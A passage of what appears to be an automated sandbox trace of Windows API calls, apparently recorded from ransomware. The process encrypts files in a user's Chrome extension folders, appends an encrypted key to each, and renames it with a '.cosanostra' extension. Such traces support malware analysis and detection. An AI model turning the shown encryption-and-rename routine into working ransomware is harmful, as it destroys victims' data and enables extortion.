liDistanceToMove=0xfffff2b2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.147] WriteFile (in: hFile=0x188, lpBuffer=0x30172f0*, nNumberOfBytesToWrite=0xd4e, lpNumberOfBytesWritten=0x28dfc4c, lpOverlapped=0x0 | out: lpBuffer=0x30172f0*, lpNumberOfBytesWritten=0x28dfc4c*=0xd4e, lpOverlapped=0x0) returned 1 [0085.147] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.147] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc4c, lpOverlapped=0x0 | out: lpBuffer=0x28dfc8c*, lpNumberOfBytesWritten=0x28dfc4c*=0x4, lpOverlapped=0x0) returned 1 [0085.147] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc4c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfc4c*=0x30, lpOverlapped=0x0) returned 1 [0085.147] CloseHandle (hObject=0x188) returned 1 [0085.147] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.cosanostra")) returned 1 [0085.194] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc80 | out: pbBuffer=0x28dfc80) returned 1 [0085.194] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc78*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc78*=0x30) returned 1 [0085.194] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.194] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 156 [0085.194] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.195] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffefe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.195] WriteFile (in: hFile=0x188, lpBuffer=0x30172f0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x28dfc3c, lpOverlapped=0x0 | out: lpBuffer=0x30172f0*, lpNumberOfBytesWritten=0x28dfc3c*=0x102, lpOverlapped=0x0) returned 1 [0085.195] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.195] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc3c, lpOverlapped=0x0 | out: lpBuffer=0x28dfc7c*, lpNumberOfBytesWritten=0x28dfc3c*=0x4, lpOverlapped=0x0) returned 1 [0085.195] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc3c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfc3c*=0x30, lpOverlapped=0x0) returned 1 [0085.195] CloseHandle (hObject=0x188) returned 1 [0085.204] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.cosanostra")) returned 1 [0085.206] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc78 | out: pbBuffer=0x28dfc78) returned 1 [0085.206] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc70*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc70*=0x30) returned 1 [0085.207] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.207] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 156 [0085.207] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.208] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffee3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.208] WriteFile (in: hFile=0x188, lpBuffer=0x30172f0*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x28dfc34, lpOverlapped=0x0 | out: lpBuffer=0x30172f0*, lpNumberOfBytesWritten=0x28dfc34*=0x11d, lpOverlapped=0x0) returned 1 [0085.208] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.208] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc34, lpOverlapped=0x0 | out: lpBuffer=0x28dfc74*, lpNumberOfBytesWritten=0x28dfc34*=0x4, lpOverlapped=0x0) returned 1 [0085.208] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc34, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfc34*=0x30, lpOverlapped=0x0) returned 1 [0085.208] CloseHandle (hObject=0x188) returned 1 [0085.208] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.cosanostra")) returned 1 [0085.210] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc70 | out: pbBuffer=0x28dfc70) returned 1 [0085.210] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc68*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc68*=0x30) returned 1 [0085.210] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.211] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 156 [0085.211] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.211] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffee7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.212] WriteFile (in: hFile=0x188, lpBuffer=0x30172f0*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x28dfc2c, lpOverlapped=0x0 | out: lpBuffer=0x30172f0*, lpNumberOfBytesWritten=0x28dfc2c*=0x119, lpOverlapped=0x0) returned 1 [0085.212] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.212] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc2c, lpOverlapped=0x0 | out: lpBuffer=0x28dfc6c*, lpNumberOfBytesWritten=0x28dfc2c*=0x4, lpOverlapped=0x0) returned 1 [0085.212] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc2c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfc2c*=0x30, lpOverlapped=0x0) returned 1 [0085.212] CloseHandle (hObject=0x188) returned 1 [0085.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.cosanostra")) returned 1 [0085.214] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc68 | out: pbBuffer=0x28dfc68) returned 1 [0085.214] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc60*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc60*=0x30) returned 1 [0085.214] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.214] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 156 [0085.214] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.215] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffedb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.215] WriteFile (in: hFile=0x188, lpBuffer=0x30172f0*, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0x28dfc24, lpOverlapped=0x0 | out: lpBuffer=0x30172f0*, lpNumberOfBytesWritten=0x28dfc24*=0x125, lpOverlapped=0x0) returned 1 [0085.215] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.215] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc24, lpOverlapped=0x0 | out: lpBuffer=0x28dfc64*, lpNumberOfBytesWritten=0x28dfc24*=0x4, lpOverlapped=0x0) returned 1 [0085.216] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc24, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfc24*=0x30, lpOverlapped=0x0) returned 1 [0085.216] CloseHandle (hObject=0x188) returned 1 [0085.230] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.cosanostra")) returned 1 [0085.232] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc60 | out: pbBuffer=0x28dfc60) returned 1 [0085.232] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc58*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc58*=0x30) returned 1 [0085.232] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.232] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 156 [0085.232] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.233] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffefe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.233] WriteFile (in: hFile=0x188, lpBuffer=0x30172f0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x28dfc1c, lpOverlapped=0x0 | out: lpBuffer=0x30172f0*, lpNumberOfBytesWritten=0x28dfc1c*=0x102, lpOverlapped=0x0) returned 1 [0085.233] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.233] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc1c, lpOverlapped=0x0 | out: lpBuffer=0x28dfc5c*, lpNumberOfBytesWritten=0x28dfc1c*=0x4, lpOverlapped=0x0) returned 1 [0085.234] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc1c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfc1c*=0x30, lpOverlapped=0x0) returned 1 [0085.234] CloseHandle (hObject=0x188) returned 1 [0085.234] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.cosanostra")) returned 1 [0085.235] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc58 | out: pbBuffer=0x28dfc58) returned 1 [0085.235] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc50*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc50*=0x30) returned 1 [0085.235] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.235] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 156 [0085.236] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.236] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffefb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.236] WriteFile (in: hFile=0x188, lpBuffer=0x30172f0*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x28dfc14, lpOverlapped=0x0 | out: lpBuffer=0x30172f0*, lpNumberOfBytesWritten=0x28dfc14*=0x105, lpOverlapped=0x0) returned 1 [0085.236] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.236] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc14, lpOverlapped=0x0 | out: lpBuffer=0x28dfc54*, lpNumberOfBytesWritten=0x28dfc14*=0x4, lpOverlapped=0x0) returned 1 [0085.236] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc14, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfc14*=0x30, lpOverlapped=0x0) returned 1 [0085.237] CloseHandle (hObject=0x188) returned 1 [0085.237] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.cosanostra")) returned 1 [0085.238] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc50 | out: pbBuffer=0x28dfc50) returned 1 [0085.238] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc48*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc48*=0x30) returned 1 [0085.239] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.239] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 156 [0085.239] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.240] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffef8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.240] WriteFile (in: hFile=0x188, lpBuffer=0x30172f0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x28dfc0c, lpOverlapped=0x0 | out: lpBuffer=0x30172f0*, lpNumberOfBytesWritten=0x28dfc0c*=0x108, lpOverlapped=0x0) returned 1 [0085.240] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.240] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc0c, lpOverlapped=0x0 | out: lpBuffer=0x28dfc4c*, lpNumberOfBytesWritten=0x28dfc0c*=0x4, lpOverlapped=0x0) returned 1 [0085.240] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc0c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfc0c*=0x30, lpOverlapped=0x0) returned 1 [0085.240] CloseHandle (hObject=0x188) returned 1 [0085.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.cosanostra")) returned 1 [0085.241] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc50 | out: pbBuffer=0x28dfc50) returned 1 [0085.241] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc48*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc48*=0x30) returned 1 [0085.241] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.241] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 144 [0085.241] StrStrW (lpFirst="manifest.json", lpSrch=".txt") returned 0x0 [0085.341] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffc14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.341] WriteFile (in: hFile=0x188, lpBuffer=0x30172f0*, nNumberOfBytesToWrite=0x3ec, 